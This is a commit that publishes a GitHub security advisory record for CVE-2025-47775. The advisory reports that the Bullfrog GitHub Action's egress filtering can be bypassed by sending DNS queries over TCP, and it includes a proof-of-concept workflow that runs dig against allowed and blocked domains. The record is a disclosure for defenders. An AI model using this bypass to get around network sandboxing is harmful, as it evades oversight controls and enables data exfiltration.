Publish GHSA-m32f-fjw2-37v3

2026-05-22 18:04:22 -07:00 · 2025-05-15 17:25:18 +00:00
parent 299d3da790
commit 0d0b518c1b
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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-m32f-fjw2-37v3",
+  "modified": "2025-05-15T17:23:04Z",
+  "published": "2025-05-15T17:23:04Z",
+  "aliases": [
+    "CVE-2025-47775"
+  ],
+  "summary": "Bullfrog's DNS over TCP bypasses domain filtering",
+  "details": "### Summary\n\nUsing tcp breaks blocking and allows DNS exfiltration. \n\n### PoC\n\n```\nname: test\non:\n  push:\n    branches:\n      - \"*\"\n\njobs:\n  testBullFrog:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Use google dns\n        run: |\n          sudo resolvectl dns eth0 1.1.1.1\n          resolvectl status\n      - name: Set up bullfrog to block everything\n        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2\n        with:\n           egress-policy: block\n           allowed-domains: |\n             *.github.com\n      - name: Test connectivity\n        run: |\n          echo testing udp allowed ..\n          dig api.github.com @1.1.1.1 || :\n          echo testing tcp allowed ..\n          dig api.github.com @1.1.1.1 +tcp || :\n\n          echo testing udp not allowed\n          dig api.google.com @1.1.1.1 || :\n          echo testing tcp not allowed\n          dig api.google.com @1.1.1.1 +tcp || :\n```\n\n### Impact\n\nsandbox bypass\n\n![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "GitHub Actions",
+        "name": "bullfrogsec/bullfrog"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "0.8.4"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47775"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/bullfrogsec/bullfrog"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-201"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-05-15T17:23:04Z",
+    "nvd_published_at": "2025-05-14T16:15:28Z"
+  }
+}